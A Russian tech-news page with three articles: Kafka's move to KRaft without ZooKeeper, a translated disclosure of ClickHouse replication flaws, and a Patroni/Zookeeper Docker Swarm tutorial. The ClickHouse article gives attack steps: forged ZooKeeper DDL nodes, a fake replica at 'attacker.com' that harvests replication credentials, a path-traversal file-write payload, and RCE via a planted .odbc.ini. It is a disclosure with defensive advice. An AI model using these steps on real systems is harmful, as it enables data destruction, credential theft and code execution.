Русский
Русский
English
Статистика
Реклама

Zookeeper

Перевод Apache Kafka скоро без ZooKeeper

16.04.2021 08:17:32 | Автор: admin

image


В основе Apache Kafka находится лог простая структура данных, которая использует последовательные операции, работающие в симбиозе с оборудованием. Эффективное использование дискового буфера и кэша процессора, prefetch, передача данных zero-copy и много других радостей все это благодаря построенной на логе структуре, которая славится своей эффективностью и пропускной способностью. Обычно эти преимущества, а еще базовая реализация в виде лога коммитов, первое, что люди узнают о Kafka.


Код самого лога составляет относительно малую часть всей системы. Гораздо больше занимает код, который отвечает за организацию партиций (т. е. логов) на множестве брокеров в кластере назначает лидеров, обрабатывает сбои и т. д. Этот код и делает Kafka надежной распределенной системой.


Раньше важной частью работы распределенного кода был Apache ZooKeeper. Он хранил самые важные метаданные системы: где находятся партиции, кто из реплик лидер и т. д. Поначалу эффективный и проверенный ZooKeeper действительно был нужен, но, по сути, это что-то вроде специфической файловой системы или API триггеров поверх согласованного лога. А Kafka это API pub/sub (издатель-подписчик) поверх согласованного лога. В результате пользователи настраивают, конфигурируют, мониторят, защищают и обдумывают взаимодействие и производительность между двумя реализациями лога, двумя сетевыми уровнями и двумя реализациями системы безопасности каждая со своими инструментами и хуками мониторинга. Все стало неоправданно сложно, поэтому решено было заменить ZooKeeper сервисом кворума прямо в самой Kafka.


Работы предстояло немало, поэтому в прошлом апреле мы запустили проект с участием сообщества, чтобы ускорить темпы и создать рабочую систему к концу года.


image


Мы с Джейсоном, Колином и командой KIP-500 прогнали полный жизненный цикл сервера Kafka с созданием и потреблением сообщений и все без Zookeeper. Какая же красота!
Бен Стопфорд (Ben Stopford)


Рады сообщить, что ранний доступ к KIP-500 уже закоммичен в ствол и будет включен в предстоящий релиз 2.8. Впервые Kafka можно использовать без ZooKeeper. Мы называем это режимом Kafka Raft Metadata, сокращенно KRaft (читается крафт).


В этом релизе пока доступны не все фичи. Мы еще не поддерживаем ACL и другие транзакции или функции безопасности. Переназначение партиций и JBOD тоже не поддерживаются в режиме KRaft (надеемся, что они будут доступны в одном из релизов Apache Kafka в этом году). Так что контроллер кворума считаем экспериментальным и для прода пока не используем. В остальном преимуществ масса: деплоймент и обслуживание станут проще, всю Kafka можно запустить как один процесс, а на кластер помещается гораздо больше партиций (цифры см. ниже).


Контроллер кворума: консенсус на основе событий


Если запустить Kafka с новым контроллеров кворума, все задачи по метаданным, которые раньше выполнялись контроллером Kafka и ZooKeeper, ложатся на новый сервис, запущенный прямо в кластере Kafka. Контроллер кворума можно запустить на выделенном оборудовании, если этого требует ваш сценарий.



Внутри происходит много интересного. Контроллеры кворума используют новый протокол KRaft, чтобы точно реплицировать метаданные по всему кворуму. Протокол во многом напоминает ZooKeeper ZAB и Raft, но с важными отличиями например, что логично, он использует архитектуру на основе событий.


Контроллер кворума хранит свой стейт с помощью модели на основе событий, чтобы стейт-машину всегда можно было в точности воссоздать. Чтобы лог события, который хранит стейт (также называется топиком метаданных), не разрастался до бесконечности, периодически он обрезается с созданием снапшотов. Остальные контроллеры в кворуме фолловят активный контроллер и реагируют на события, которые он создает и сохраняет в свой лог. Если одна нода приостановлена во время разделения на партиции, например, она быстро догонит пропущенные события с помощью лога. Так мы существенно сокращаем период простоя и время восстановления системы в худшем сценарии.


image
Консенсус на основе событий


Раз протокол KRaft управляется событиями, в отличие от контроллера ZooKeeper контроллер кворума не загружает стейт из ZooKeeper, когда становится активным. При смене лидера у нового активного контроллера уже есть в памяти все закоммиченные записи метаданных. Более того, для отслеживания метаданных в кластере используется тот же механизм на основе событий, что и в протоколе KRaft. Задача, которую раньше обрабатывали RPC, теперь полагается на события и использует лог для коммуникации. Приятное последствие этих изменений (и изменений, которые были предусмотрены изначальным замыслом) Kafka теперь поддерживает гораздо больше партиций, чем раньше. Обсудим подробнее.


Увеличение масштаба Kafka до миллионов партиций


Максимальное число партиций в кластере Kafka определяется двумя свойствами: лимит партиций для ноды и лимит партиций для кластера. Сейчас на ограничение в кластере во многом влияет управление метаданными. Предыдущие KIP улучшили лимит для ноды, хотя и здесь нет предела совершенству. Масштабируемость в Kafka зависит от добавления нод. Здесь нам важен лимит для кластера, который определяет верхнюю границу масштабирования всей системы.


Новый контроллер кворума может обрабатывать гораздо больше партиций на кластере. Чтобы это проверить, можно провести такие же тесты, как в 2018 году, с помощью которых мы демонстрировали лимиты партиций в Kafka. Эти тесты измеряют время, которое требуется для завершения работы и восстановления. В старом контроллере это операция O (число партиций). Она устанавливает верхнюю границу числа партиций, которые сейчас поддерживает один кластер Kafka.


Предыдущая реализация, как рассказывалось в посте по ссылке, могла достигать 200K партиций. Ограничивающим фактором служило время, которое требовалось для переноса важных метаданных между внешним консенсусом (ZooKeeper) и внутренним управлением лидером (контроллер Kafka). С новым контроллером кворума обе роли выполняет один компонент. Подход на основе событий означает, что контроллер отрабатывает отказ почти моментально. Ниже приводятся цифры нашего тестирования для кластера с 2 млн партиций (в 10 раз больше предыдущего лимита):


image


Контроллер С контроллером ZooKeeper С контроллером кворума
Время контролируемой остановки (2 млн партиций) 135 сек 32 сек
Восстановление после неконтролируемой остановки (2 млн партиций) 503 сек 37 сек

Важно учитывать контролируемую и неконтролируемую остановку. Контролируемые остановки включают типичные рабочие сценарии, вроде rolling restart стандартная процедура развертывания изменений без потери доступности. Восстановление после неконтролируемой остановки важнее, потому что оно задает целевое время восстановления (RTO) системы в случае, скажем, неожиданного сбоя, например, на виртуальной машине или поде, или потери связи с дата-центром. Хотя эти цифры указывают на производительность всей системы, они напрямую определяют хорошо известное узкое место, которое возникает при использовании ZooKeeper.


Измерения для контролируемой и неконтролируемой остановки не сравниваются напрямую, потому что неконтролируемая остановка включает выбор новых лидеров, а контролируемая нет. Это расхождение введено специально, чтобы контролируемая остановка соответствовала изначальным тестам 2018 года.


Упрощение Kafka единый процесс


Kafka часто воспринимается как тяжеловес, и такой репутацией она во многом обязана сложностями с управлением ZooKeeper. Из-за этого для запуска проектов часто выбирают более легкую очередь сообщений, вроде ActiveMQ или RabbitMQ, а Kafka появляется на сцене только при разрастании масштаба.


Это печально, ведь Kafka дает удобную абстракцию на основе лога коммитов, которая одинаково хорошо подходит для маленьких рабочих нагрузок у стартапов и для бешеного трафика у Netflix или Instagram. А если вам нужна стриминговая обработка, без Kafka с абстракцией лога коммитов не обойтись, будь то Kafka Streams, ksqlDB или другой аналогичный фреймворк. Управлять двумя отдельными системами (Kafka и Zookeeper) сложно, поэтому пользователи выбирали между масштабированием и простотой.


Теперь можно получить все и сразу. Благодаря KIP-500 и режиму KRaft мы можем легко начать проект с Kafka или использовать его как альтернативу монолитным брокерам, вроде ActiveMQ или RabbitMQ. Благодаря легкости и единому процессу это подходящий вариант для ограниченных в ресурсах устройств. В облаке все еще проще. Управляемые сервисы, например, Confluent Cloud, все берут на себя. Не важно, собственный это будет кластер или управляемый, мы можем начать с малого, а потом расширять его вместе со своими рабочими нагрузками все в рамках одной инфраструктуры. Давайте посмотрим, как выглядит развертывание с одним процессом.


Испытываем Kafka без ZooKeeper


Новый контроллер кворума пока доступен в экспериментальном режиме, но, скорее всего, будет включен в релиз Apache Kafka 2.8. На что он способен? Самое крутое это, конечно, возможность создавать кластер Kafka с одним процессом, как в демо.


Конечно, если вам нужна очень высокая пропускная способность, и вы хотите добавить репликацию для отказоустойчивости, понадобятся еще процессы. Пока контроллер кворума на базе KRaft доступен только как Early Access, для критических рабочих нагрузок он не годится. В ближайшие месяцы мы будем добавлять недостающие фрагменты, моделировать протокол с помощью TLA+ и внедрять контроллер кворума в Confluent Cloud.


image


Но поэкспериментировать вы можете уже сейчас. См. полный README на GitHub.

Подробнее..

Перевод Зачем нужно держать клетки в зоопарке закрытыми

06.08.2020 16:13:59 | Автор: admin


В этой статье будет история об одной весьма характерной уязвимости в протоколе репликации в ClickHouse, а также будет показано, как можно расширить плоскость атаки.


ClickHouse это база данных для хранения больших объемов данных, чаще всего используется больше одной реплики. Кластеризация и репликация в ClickHouse строятся поверх Apache ZooKeeper (ZK) и требуют прав на запись.


Установка ZK по умолчанию не требует аутентификации, так что тысячи ZK серверов, используемых для конфигурации Kafka, Hadoop, ClickHouse доступны публично.


Для сокращения плоскости атаки вы всегда должны настраивать аутентификацию и авторизацию при установке ZooKeeper

Есть конечно несколько 0day на основе Java десериализации, но представьте себе, что злоумышленник может читать и писать в ZooKeeper, используемый для репликации ClickHouse.


При настройке в кластерном режиме ClickHouse поддерживает распределенные запросы DDL, проходящие через ZK для них узлы создаются в листе /clickhouse/task_queue/ddl.


Например вы создаете узел /clickhouse/task_queue/ddl/query-0001 с содержимым:


version: 1query: DROP TABLE xxx ON CLUSTER test;hosts: ['host1:9000', 'host2:9000']

а после этого на серверах кластера host1 и host2 таблица test будет удалена. DDL также поддерживает запуск запросов CREATE/ALTER/DROR.


Звучит страшно? Но где же атакующий сможет получить адреса серверов?


Репликация ClickHouse работает на уровне отдельных таблиц, так что при создании таблицы в ZK задается сервер, который будет отвечать за обмен метаданными с репликами. Например при выполнении запроса (ZK должен быть настроен, chXX имя реплики, foobar имя таблицы):


CREATE TABLE foobar(    `action_id` UInt32 DEFAULT toUInt32(0),    `status` String)ENGINE=ReplicatedMergeTree('/clickhouse/tables/01-01/foobar/', 'chXX')ORDER BY action_id;

будут созданы узлы columns и metadata.


Содержимое /clickhouse/tables/01/foobar/replicas/chXX/hosts:


host: chXX-addressport: 9009tcp_port: 9000database: defaulttable: foobarscheme: http

Можно ли слить данные из этого кластера? Да, если порт репликации (TCP/9009) на сервере chXX-address не будет закрыт firewall и не будет настроена аутентификация для репликации. Как обойти аутентификацию?


Атакующий может создать новую реплику в ZK, просто копируя содержимое с /clickhouse/tables/01-01/foobar/replicas/chXX и меняя значение host.


Содержимое /clickhouse/tables/0101/foobar/replicas/attacker/host:


host: attacker.comport: 9009tcp_port: 9000database: defaulttable: foobarscheme: http

Затем надо сказать остальным репликам, что на сервере атакующего есть новый блок данных, который им надо забрать создается узел в ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX монотонно растущий счетчик, который должен быть больше, чем последний в журнале событий):


format version: 4create_time: 2019-07-31 09:37:42source replica: attackerblock_id: all_7192349136365807998_13893666115934954449getall_0_0_2

где source_replica имя реплики атакующего, созданной на предыдущем шаге, block_id идентификатор блока данных, get команда "get block" (а [тут команды для других операций](
)).


Далее каждая реплика читает новое событие в журнале и идет на сервер, подконтрольный злоумышленнику, для получения блока данных (протокол репликации двоичный, работает поверх HTTP). Сервер attacker.com будет получать запросы:


POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1Host: attacker.comAuthorization: XXX

где XXX и есть данные аутентификации для репликации. В некоторых случаях это может быть учетная запись с доступом к базе данных по основному протоколу ClickHouse и протоколу HTTP. Как вы видели, плоскость атаки становится критически большой, потому что ZooKeeper, используемый для репликации, остался без настроенной аутентификации.


Давайте посмотрим на функцию получения блока данных из реплики, она написана с полной уверенностью, что все реплики под правильным контролем и между ними есть доверие.


https://miro.medium.com/max/700/1*92PefViWivYUEYFVhc1NMQ.png
код обработки репликации


Функция читает список файлов, затем их имена, размеры, содержимое, после чего пишет их в файловой системе. Стоит отдельно описать, как хранятся данные в файловой системе.


Есть несколько подкаталогов в /var/lib/clickhouse (каталог хранения по-умолчанию из конфигурационного файла):


flags каталог для записи флагов, используемых при восстановлении после потери данных;
tmp каталог хранения временных файлов;
user_files операции с файлами в запросах ограничены этим каталогом (INTO OUTFILE и другие);
metadata файлы sql с описаниями таблиц;
preprocessed_configs обработанные производные конфигурационные файлы из /etc/clickhouse-server;
data собственно каталог с самими данными, в этм случае для каждой базы просто создается отдельный подкаталог здесь (например /var/lib/clickhouse/data/default).


Для каждой таблицы создается подкаталог в каталоге с базой данных. Каждый столбец отдельный файл в зависимости от формата движка. Например для таблицы foobar, созданной атакующим, будут созданы следующие файлы:


action_id.binaction_id.mrk2checksums.txtcolumns.txtcount.txtprimary.idxstatus.binstatus.mrk2

Реплика ожидает получения файлов с такими же именами при обработке блока данных и не проверяет их каким-либо способом.


Внимательный читатель вероятно уже слышал про небезопасную конкатенацию file_name в функции WriteBufferFromFile. Да, это позволяет атакующему записать произвольный контент в любой файл на ФС с правами пользователя clickhouse. Для этого реплика, подконтрольная атакующему, должна вернуть следующий ответ на запрос (для простоты понимания добавлены переносы строк):


\x01\x00\x00\x00\x00\x00\x00\x00\x24../../../../../../../../../tmp/pwned\x12\x00\x00\x00\x00\x00\x00\x00hellofromzookeeper

а после конкатенации ../../../../../../../../../tmp/pwned будет записан файл /tmp/pwned с содержимым hellofromzookeeper.


Есть несколько вариантов превращения возможности записи файлов в удаленный запуск кода (RCE).


Внешние словари в RCE


В старых версиях каталог с настройками ClickHouse хранился с правами пользователя clickhouse по-умолчанию. Файлы настроек представляют собой файлы XML, которые сервис читает при запуске, а затем кэширует в /var/lib/clickhouse/preprocessed_configs. При изменениях они перечитываются. При наличии доступа к /etc/clickhouse-server атакующий может создать собственный внешний словарь исполняемого типа, а затем выполнить произвольный код. Текущие версии ClickHouse не дают права по-умолчанию, но если сервер постепенно обновлялся такие права могли и остаться. Если вы занимаетесь поддержкой кластера ClickHouse, проверьте права на каталог с настройками, он должен принадлежать пользователю root.


ODBC в RCE


При установке пакета создается пользователь clickhouse, при этом не создается его домашний каталог /nonexistent. Однако при использовании внешних словарей, либо по другим причинам, администраторы создают каталог /nonexistent и дают пользователю clickhouse доступ на запись в него (ССЗБ! прим. переводчика).


ClickHouse поддерживает ODBC и может соединяться с другими базами данных. В ODBC вы можете указать путь к библиотеке с драйвером базы данных (.so). Старые версии ClickHouse позволяли проворачивать такое прямо в обработчике запросов, но теперь добавлена более строгая проверка строки соединения в odbc-bridge, так что теперь невозможно указать путь к драйверу из запроса. Но атакующий может писать в домашний каталог, используя уязвимость, описанную выше?


Давайте создадим файл ~/.odbc.ini с таким содержимым:


[lalala]Driver=/var/lib/clickhouse/user_files/test.so

затем при запуске SELECT * FROM odbc('DSN=lalala', 'test', 'test'); будет подгружена библиотека test.so и получено RCE (спасибо buglloc за наводку).


Эти и другие уязвимости были исправлены в версии ClickHouse 19.14.3. Берегите свои ClickHouse и ZooKeepers!

Подробнее..

Заряжай Patroni. Тестируем Patroni Zookeeper кластер (Часть первая)

24.12.2020 20:04:36 | Автор: admin
Кадр из фильма Рембо IVКадр из фильма Рембо IV

Вступление

Если выработаете сcrucial data, торано или поздно задумаетесь отом, что неплохобы поднять кластер отказоустойчивости. Даже если основной сервер сбазой улетит вглухой нокаут, show must goon, нетакли? При этом мыподразумеваем две вещи:

  • база данных совсей ееструктурой нам по-прежнему доступна;

  • все данные находятся всостоянии максимально близком ктому, которое было нагероически павшем лидере.

Patroni лишь одно изрешений проблемы. Донего япопробовал несколько других сервисов инаGithub одного изних (небуду показывать курсором) досих пор висит без ответа открытый мной баг репорт, хотя прошло уже несколько месяцев. Удругого была несамая полная документация. Какие-то мне показались недостаточно надежными.

ПоPatroniже действительно много инфы, ионкачественно поддерживается разработчиками. Также ониспользует DCS для синхронизации нод, что должно предотвращать ситуации соsplit brain.

Изминусов совершенно точно нужно назватьто, что это неout ofthe box solution. Как сказано вдоке:

Patroni is a template for you to create your own customized, high-availability solution using Python...

Иключевое здесь слово template. Тоесть все придется собирать самому. Новкаком-то смысле это плюс покрайней мере, мыдетально будем знать, что именно идёт впрод.

Поспециализации, кстати, янеDevOps инженер. Когда появилась необходимость поднять отказоустойчивый кластер мне пришлось собрать все ямы истолбы какие только были наэтом пути. Надеюсь, этот туториал поможет вам достичь результата, испытав вразы меньше страданий иболи, чем довелось мне.

Если выустали уже отвступлений ирветесь вбой, смело переходите кследующей главе.

Если нет, топредлагаю под спойлером прочесть короткие заметки поконфигурации кластера, которую явыбрал для деплоя.

Что, ещё один туториал о Patroni?

Зачем читать именно этот туториал?

Есть уже немало туториалов, которые рассказывают, как поднять кластер Patroni. Этот затрагивает вопросы деплоя в среде docker swarm и использования Zookeeper в качестве DCS.

Почему Zookeeper?

Ясчитаю, это один измоментов, которые стоит рассмотреть всерьез, прежде чем выбрать конечный сетап для продакшена. Дело втом, что Patroni использует сторонние сервисы чтобы установить иобслуживать коммуникацию между своими нодами. Ихобщее название DCS (Dynamic Configuration Storage).

Если выуже смотрели какие-то изтуториалов оPatroni, то, должно быть, заметили, что самый частый кейс это когда вкачестве DCS используют Etcd кластер.

Интересный момент вработе Etcd кластера заключается втом, что:

Since etcd writes data to disk, its performance strongly depends on disk performance. For this reason, SSD is highly recommended.

(из документации Etcd)

Словом, если увас нет поSSD диску накаждой машине, где будут работать ноды Etcd, товывзоне опасности. Конечно, пока нагрузка небольшая, тоничего критичного происходить небудет, ноесли это рабочий, нагруженный прод, тоочень возможно (идаже вероятно), что выпросто перегрузите Etcd кластер. Аэто приведет кIO ошибкам при доступе кбазе. Звучит скверно? Насамом деле так иесть. Ловить такие ошибки напроде очень неприятно.

Здесь нам напомощь иможет прийти Zookeeper, который ничего непишет надиск ихранит все данные впамяти. Такой вариант оптимален вситуации, когда ненавсех серверах есть SSD, зато RAM хватает.

Почему Docker Swarm?

Уменя небыло выбора, так как одним изключевых требований было, чтобы кластер был развернут вSwarmе. Так что, если это иваш кейс тоже, товывправильном месте!

Для техже, кто открыл пост сжеланием потестировать технологию, выбор Docker Swarmа тоже может быть вполне органичным. Хотябы потой причине, что вам непридется устанавливать инастраивать никаких сторонних сервисов (нузаисключением самого Dockerа, разумеется) или тянуть налокальную машину ворох непонятных зависимостей. Полагаю, недалеко отистины утверждение, что Docker унас увсех итак уже настроен везде где только можно, мывсе знаем, как онработает, так что почемубы неиспользовать его.

Потребуется лишь одна команда, чтобы сделать тюнинг Dockerа, который позволит развернуть налокальной машине кластер Patroni на3ноды без виртуальных машин, Kubernetes или подобных вещей.

Если вынехотите копать всторону каких-то еще инструментов запределами Dockerа ихотите сделать все чисто иаккуратно, тоданный туториал вам более чем подойдет.

А в конце будет небольшой бонус

Вовторой части туториала япокажу различные варианты проверки статуса кластера (целых3), ивконце дам простой скрипт синструкциями для быстрого теста кластера.

Окей, достаточно разговоров. Давайте перейдем кпрактике.

Docker Swarm

Для быстрого иприближенного креальности теста, нам, насамом деле, достаточно одной ноды вSwarm кластере. Поскольку мыможем очень легко поднимать иронять сервисы, запущенные вSwarmе, мысможем имитировать падение сервера снодой, имея враспоряжении только одну локальную машину.

Яисхожу изпредположения, что увас уже установлен инастроен Docker Engine. Втаком случае, нужно только выполнить следующую команду:

docker swarm init//now check your single-node clusterdocker node lsID                            HOSTNAME       STATUS       AVAILABILITY          a9ej2flnv11ka1hencoc1mer2 *   floitet        Ready          Active       

Одна изважных фич Swarmа заключается втом, что теперь мыможем использовать нетолько обычные Docker контейнеры, ноитак называемые сервисы. Сервисы это посути дела абстракция над контейнерами. Если отталкиваться отаналогии сООП, тосервис это класс, аконтейнер конкретный объект класса. Параметры иправила сервиса задаются при деплое изyml-файла.

Рекомендую запомнить hostname ноды потом мыиспользуем его для указания constraint вконфигурационном файле.

Вцелом, это все приготовления вчасти Docker Swarmа, которые нужно сделать. Здесь никаких проблем быть недолжно. Так что двинемся дальше.

Zookeeper

Прежде чем мыначнем деплой самого Patroni, нам нужно сначала развернуть кластер сDCS (внашем случае, как мыпомним, это Zookeeper). Явзял версию 3.4, иона работает вполне стабильно. Далее идет docker-compose конфиг инекоторые комментарии помоментам, которые, как мне кажется, имеет смысл отдельно упомянуть.

  • docker-compose-zookeeper.yml

docker-compose-zookeeper.yml
version: '3.7'services:  zoo1:    image: zookeeper:3.4    hostname: zoo1    ports:      - 2191:2181    networks:      - patroni    environment:      ZOO_MY_ID: 1      ZOO_SERVERS: server.1=0.0.0.0:2888:3888 server.2=zoo2:2888:3888 server.3=zoo3:2888:3888    deploy:      replicas: 1      placement:        constraints:          - node.hostname == floitet      restart_policy:        condition: any  zoo2:    image: zookeeper:3.4    hostname: zoo2    networks:      - patroni    ports:      - 2192:2181    environment:      ZOO_MY_ID: 2      ZOO_SERVERS: server.1=zoo1:2888:3888 server.2=0.0.0.0:2888:3888 server.3=zoo3:2888:3888    deploy:      replicas: 1      placement:        constraints:          - node.hostname == floitet      restart_policy:        condition: any  zoo3:    image: zookeeper:3.4    hostname: zoo3    networks:      - patroni    ports:      - 2193:2181    environment:      ZOO_MY_ID: 3      ZOO_SERVERS: server.1=zoo1:2888:3888 server.2=zoo2:2888:3888 server.3=0.0.0.0:2888:3888    deploy:      replicas: 1      placement:        constraints:          - node.hostname == floitet      restart_policy:        condition: anynetworks:  patroni:    driver: overlay    attachable: true
Details

Конечноже, важно дать каждой ноде уникальное имя ивнешний порт. Hostname лучше ставить одинаковое сименем сервиса.

zoo1:    image: zookeeper:3.4    hostname: zoo1    ports:      - 2191:2181

Стоит отметить ито, как мыперечисляем hostы встроке ниже: для первого сервиса server.1 будет привязан к0.0.0.0, а, например, для zoo2 это уже будет server.2 соответственно ит.д.

ZOO_SERVERS: server.1=0.0.0.0:2888:3888 server.2=zoo2:2888:3888 server.3=zoo3:2888:3888

Атаким образом мыконтролируем распределение сервисов понодам. Поскольку нода унас сейчас только одна, мыспокойно моглибы убрать эти строчки изконфига, нокогда серверов будет несколько, можно будет менять node.hostname итем самым определять накакую ноду пойдет сервис.

     placement:        constraints:          - node.hostname == floitet

Ипоследний момент, который мыздесь обсудим, это network. Янамерен деплоить все сервисы Zookeeperа ивсе сервисы Patroni водну сеть сдрайвером overlay, чтобы они были изолированы отдругих сервисов имогли общаться между собой поименам, анепоIP (как это выглядит, будет видно дальше).

networks:  patroni:    driver: overlay// мы должны отметить сеть как attachable  // чтобы потом можно было присоединять к ней остальные сервисы    attachable: true

Итак, можно задеплоить Zookeeper:

sudo docker stack deploy --compose-file docker-compose-zookeeper.yml patroni

Теперь нужно проверить, что все работает. Первое что можно сделать это просто посмотреть список сервисов:

sudo docker service lsgxfj9rs3po7z        patroni_zoo1        replicated          1/1                 zookeeper:3.4         *:2191->2181/tcpibp0mevmiflw        patroni_zoo2        replicated          1/1                 zookeeper:3.4         *:2192->2181/tcpsrucfm8jrt57        patroni_zoo3        replicated          1/1                 zookeeper:3.4         *:2193->2181/tcp

Иследующим шагом можно сделать пинг сервисов спомощью специальной команды mntr:

echo mntr | nc localhost 2191// with the output being smth like thiszk_version3.4.14-4c25d480e66aadd371de8bd2fd8da255ac140bcf, built on 03/06/2019 16:18 GMTzk_avg_latency6zk_max_latency205zk_min_latency0zk_packets_received1745zk_packets_sent1755zk_num_alive_connections3zk_outstanding_requests0zk_server_statefollowerzk_znode_count16zk_watch_count9zk_ephemerals_count4zk_approximate_data_size1370zk_open_file_descriptor_count34zk_max_file_descriptor_count1048576zk_fsync_threshold_exceed_count0

Также можно проверить логи сервиса, если есть желание:

docker service logs $zookeeper-service-id // service-id comes from 'docker service ls' command. // in my case it could be docker service logs gxfj9rs3po7z

Отлично, вот мыиразобрались сZookeeperом. Теперь можно переходить ксамому Patroni.

Patroni

Мынаконец добрались доосновной части туториала, где нам предстоит поднимать кластер Patroni. Первое что нужно сделать это билд кастомного имейджа Patroni, чтобы нам было что деплоить. Мывключим всборку только самые необходимые вещи, ияпостараюсь объяснить все шаги как можно более подробно, чтобы вдальнейшем вам легко было работать сэтим образом иапгрейдить его посвоему желанию.

Сначала создадим отдельную директорию patroni-test иперейдем внеё. Для того чтобы успешно сбилдить рабочий имейдж нам понадобится пара дополнительных файлов, сних иначнем.

  • patroni.yml

Это основной конфигурационный файл. Одна изособенностей Patroni, что мыможем задавать параметры для кластера изразных мест иpatroni.yml одно изних. Этот файл мыбудем копировать вкастомный имейдж, так что любые изменения, внесенные внего, требуют ребилда образа.

Явитоге пришел кидее, что буду хранить здесь только тепараметры, которые наверняка почти никогда небуду трогать, поэтому складываю здесь только самые необходимые настройки. Ниже япривожу базовый конфиг. Если захочется, томожно добавить внего каких-то параметров, допустим, для движка Posgtresа (например, max_connections ит.п.). Нодля тестового стенда этого вполне достаточно.

patroni.yml
scope: patroninamespace: /service/bootstrap:    dcs:        ttl: 30        loop_wait: 10        retry_timeout: 10        maximum_lag_on_failover: 1048576        postgresql:            use_pg_rewind: true    postgresql:      use_pg_rewind: true    initdb:    - encoding: UTF8    - data-checksums    pg_hba:    - host replication all all md5    - host all all all md5zookeeper:  hosts:       - zoo1:2181      - zoo2:2181      - zoo3:2181postgresql:    data_dir: /data/patroni    bin_dir: /usr/lib/postgresql/11/bin    pgpass: /tmp/pgpass    parameters:        unix_socket_directories: '.'tags:    nofailover: false    noloadbalance: false    clonefrom: false    nosync: false
Details

Важно указать Patroni путь кбинарным файлам Postgresа. Вмоем случае, так как яиспользую Postgres11, директория выглядит так: /usr/lib/postgresql/11/bin.

Вдиректории, внутри уже созданного контейнера, Patroni будет искать файлы Postgresа. Без этой настройки скорее всего ничего невзлетит (покрайней мере уменя невзлетело). Итакже еще есть data_dir это место вконтейнере, где будут храниться данные. Позже мысделаем mount этой директории кместу налокальном жестком диске, чтобы непотерять все полимеры, если кластер всеже упадет безнадежно. Это добавит нам работы посозданию этих папок локально, но, по-моему, оно того стоит.

postgresql:    data_dir: /data/patroni    bin_dir: /usr/lib/postgresql/11/bin

Также яперечисляю все сервера Zookeeperа вэтом конфиг файле, чтобы потом передать информацию оних утилите patronictl. Стоит отметить, что если неуказать ихвpatroni.yml, томыостанемся витоге снерабочим patronictl. Как вывидите, перечисляя сервера, янепишу никакиеIP, аиспользую ихимена. Это тасамая фича Docker Swarmа окоторой ярассказывал выше.

zookeeper:  hosts:       - zoo1:2181      - zoo2:2181      - zoo3:2181
  • patroni-entrypoint.sh

Изследующего файла подтягивается большая часть настроек вмоей конфигурации. Это небольшой скрипт, который будет выполнен, когда контейнер сервиса окажется создан.

patroni-entrypoint.sh
#!/bin/shreadonly CONTAINER_IP=$(hostname --ip-address)readonly CONTAINER_API_ADDR="${CONTAINER_IP}:${PATRONI_API_CONNECT_PORT}"readonly CONTAINER_POSTGRE_ADDR="${CONTAINER_IP}:5432"export PATRONI_NAME="${PATRONI_NAME:-$(hostname)}"export PATRONI_RESTAPI_CONNECT_ADDRESS="$CONTAINER_API_ADDR"export PATRONI_RESTAPI_LISTEN="$CONTAINER_API_ADDR"export PATRONI_POSTGRESQL_CONNECT_ADDRESS="$CONTAINER_POSTGRE_ADDR"export PATRONI_POSTGRESQL_LISTEN="$CONTAINER_POSTGRE_ADDR"export PATRONI_REPLICATION_USERNAME="$REPLICATION_NAME"export PATRONI_REPLICATION_PASSWORD="$REPLICATION_PASS"export PATRONI_SUPERUSER_USERNAME="$SU_NAME"export PATRONI_SUPERUSER_PASSWORD="$SU_PASS"export PATRONI_approle_PASSWORD="$POSTGRES_APP_ROLE_PASS"export PATRONI_approle_OPTIONS="${PATRONI_admin_OPTIONS:-createdb, createrole}"exec /usr/local/bin/patroni /etc/patroni.yml
Details. Важно!

Насамом деле, основной смысл вообще делать такой скрипт заключается втом, что мыпросто несможем стартануть сервис сPatroni, незнаяIP адрес hostа. Ивтом случае, когда hostом оказывается Docker-контейнер, нам как-то нужно сначала узнать какойже IPэтот контейнер получил, итолько потом мыможем запустить Patroni. Эта потребность закрывается вот здесь:

readonly CONTAINER_IP=$(hostname --ip-address)readonly CONTAINER_API_ADDR="${CONTAINER_IP}:${PATRONI_API_CONNECT_PORT}"readonly CONTAINER_POSTGRE_ADDR="${CONTAINER_IP}:5432"...export PATRONI_RESTAPI_CONNECT_ADDRESS="$CONTAINER_API_ADDR"export PATRONI_RESTAPI_LISTEN="$CONTAINER_API_ADDR"export PATRONI_POSTGRESQL_CONNECT_ADDRESS="$CONTAINER_POSTGRE_ADDR"

Как яуже говорил раньше, параметры конфига Patroni можно передавать разными способами. Вэтом скрипте мыпользуемся тем, что один изтаких способов это Environment configuration. PATRONIRESTAPICONNECTADDRESS, PATRONIRESTAPILISTEN, PATRONIPOSTGRESQLCONNECTADDRESS специальные переменные среды, окоторых Patroni знает заранее икоторые будут считаны. Икстати, они переписывают локальные настройки изpatroni.yml, так что beaware!

Иеще момент. Документация Patroni нерекомендует использовать superuserа для подключения кбазе приложений. Т.е. нужно создать отдельного юзера, который мыбудем использовать непосредственно для коннекта, аsuperuserа иreplicatorа трогать небудем совсем. Создать такого юзера можно также через переменную среды. Если хотите, чтобы юзер назывался как-то иначе чем approle, просто замените вэтой строке approle начто-то другое.

export PATRONI_approle_PASSWORD="$POSTGRES_APP_ROLE_PASS"export PATRONI_approle_OPTIONS="${PATRONI_admin_OPTIONS:-createdb, createrole}"

Ивпоследней строчке, когда всё уже готово кстарту, мыделаем запуск Patroni сервиса суказанием откуда брать основной конфиг файл:

exec /usr/local/bin/patroni /etc/patroni.yml
  • Dockerfile

Dockerfile ярешил сделать настолько простым, насколько это только возможно. Ноэтого вполне достаточно, чтобы сделать билд рабочего Docker-образа. Давайте глянем, что внем все-таки происходит.

Dockerfile
FROM postgres:11 RUN apt-get update -y\     && apt-get install python3 python3-pip -y\    && pip3 install --upgrade setuptools\    && pip3 install psycopg2-binary \    && pip3 install patroni[zookeeper] \    && mkdir /data/patroni -p \    && chown postgres:postgres /data/patroni \    && chmod 700 /data/patroni COPY patroni.yml /etc/patroni.ymlCOPY patroni-entrypoint.sh ./entrypoint.shUSER postgresENTRYPOINT ["bin/sh", "/entrypoint.sh"]
Details

Одна изглавных деталей здесь это директория, которую мыуказываем создать внутри контейнера, атакже еевладелец иего права. Позже, когда будем деплоить Patroni, нужно будет подобнымже образом создать папки налокальной машине, куда мысможем сделать mount этой директории изконтейнера.

// владелец должен быть 'postgres', а mode 700    mkdir /data/patroni -p \    chown postgres:postgres /data/patroni \    chmod 700 /data/patroni     ...// устанавливаем в кач-ве активного юзера внутри контейнера // юзера postgres        USER postgres

